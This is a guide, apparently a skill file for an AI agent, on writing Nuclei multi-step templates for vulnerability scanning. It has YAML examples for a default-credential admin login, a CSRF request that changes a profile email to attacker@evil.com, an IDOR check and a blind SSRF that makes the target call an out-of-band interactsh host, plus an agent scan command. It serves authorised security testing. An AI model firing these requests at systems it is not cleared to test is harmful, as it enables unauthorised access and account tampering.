<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: writing-multi-step-templates
description: >-
  Write Nuclei multi-step request templates for detecting vulnerabilities
  that require sequential HTTP interactions. Covers request chaining,
  cookie persistence, token extraction, authenticated flows, and
  conditional request execution.
domain: cybersecurity
subdomain: nuclei-templating
tags:
  - nuclei
  - multi-step
  - request-chaining
  - authentication
  - session
  - flow
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190"]
---

# Writing Multi-Step Templates

## Overview

Multi-step templates chain multiple HTTP requests where each step depends on
data from previous responses. This enables testing authentication flows,
CSRF-protected endpoints, multi-stage exploits, and any vulnerability that
requires session state or extracted tokens.

Mode: `[MODE: RED]` — Multi-stage vulnerability exploitation chains.

## Prerequisites

| Requirement | Details |
|---|---|
| Nuclei v3+ with flow protocol support | Required |
| Understanding of HTTP session management and cookie handling | Required |
| Target application with multi-step workflows to test | Required |

## Key Concepts

### Cookie Reuse Between Requests

```yaml
id: admin-panel-access

info:
  name: Admin Panel Unauthorized Access
  author: nerf
  severity: critical
  description: |
    Tests for admin panel access by first authenticating with default
    credentials then accessing restricted endpoints.
  classification:
    cwe-id: CWE-798
  tags: default-login,admin,auth
  metadata:
    max-request: 2

http:
  - raw:
      - |
        POST {{BaseURL}}/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin
      - |
        GET {{BaseURL}}/admin/dashboard HTTP/1.1
        Host: {{Hostname}}
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "Dashboard"
          - "Admin Panel"
        condition: or
      - type: status
        part: header_2
        status:
          - 200
```

### Token Extraction and Reuse

```yaml
id: csrf-bypass-detection

info:
  name: CSRF Token Bypass Detection
  author: nerf
  severity: high
  classification:
    cwe-id: CWE-352
  tags: csrf,bypass,token
  metadata:
    max-request: 2

http:
  - raw:
      - |
        GET {{BaseURL}}/profile HTTP/1.1
        Host: {{Hostname}}
      - |
        POST {{BaseURL}}/profile/update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&email=attacker@evil.com
    cookie-reuse: true
    extractors:
      - type: regex
        name: csrf
        part: body_1
        group: 1
        regex:
          - 'name="csrf_token"\s+value="([a-zA-Z0-9]+)"'
        internal: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "Profile updated"
          - "attacker@evil.com"
        condition: or
      - type: status
        part: header_2
        status:
          - 200
          - 302
```

### Flow-Based Multi-Step (Nuclei v3)

```yaml
id: idor-user-data-access

info:
  name: IDOR User Data Access
  author: nerf
  severity: high
  classification:
    cwe-id: CWE-639
  tags: idor,authorization,flow
  metadata:
    max-request: 3

flow: |
  http("login") && http("get-own-profile") && http("get-other-profile")

http:
  - id: login
    raw:
      - |
        POST {{BaseURL}}/api/login HTTP/1.1
        Content-Type: application/json

        {"username":"testuser","password":"testpass"}
    cookie-reuse: true
    extractors:
      - type: json
        name: auth_token
        json:
          - '.token'
        internal: true

  - id: get-own-profile
    raw:
      - |
        GET {{BaseURL}}/api/users/1 HTTP/1.1
        Authorization: Bearer {{auth_token}}
    extractors:
      - type: json
        name: own_email
        json:
          - '.email'
        internal: true

  - id: get-other-profile
    raw:
      - |
        GET {{BaseURL}}/api/users/2 HTTP/1.1
        Authorization: Bearer {{auth_token}}
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - '"email"'
      - type: word
        part: body
        negative: true
        words:
          - "{{own_email}}"
```

### OOB Interaction Detection

```yaml
id: blind-ssrf-oob

info:
  name: Blind SSRF via OOB Interaction
  author: nerf
  severity: high
  classification:
    cwe-id: CWE-918
  tags: ssrf,blind,oob,interactsh
  metadata:
    max-request: 1

http:
  - raw:
      - |
        POST {{BaseURL}}/api/webhook HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"callback_url":"http://{{interactsh-url}}/callback"}
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or
```

## Workflow

### Step 1: Map Authentication Flow

```bash
node scripts/agent.js --action scan --target https://staging.example.com \
  --template multi-step-template.yaml --output /tmp/multi-step.json
```

### Step 2: Validate Request Chain

```bash
node scripts/agent.js --action validate --template multi-step-template.yaml
```

## Verification

- [ ] `cookie-reuse: true` set for session-dependent chains
- [ ] Extractors marked `internal: true` for inter-request variables
- [ ] Response parts reference correct step (`body_1`, `body_2`, etc.)
- [ ] `max-request` accurately reflects total request count
- [ ] Flow expressions use correct request IDs
- [ ] OOB templates use `{{interactsh-url}}` placeholder
- [ ] Tested full chain against target application

## References

- [Nuclei HTTP Flow](https://docs.projectdiscovery.io/templates/protocols/http/flow)
- [Nuclei Request Chaining](https://docs.projectdiscovery.io/templates/protocols/http/raw-http)
- [Interactsh Integration](https://docs.projectdiscovery.io/tools/interactsh/)
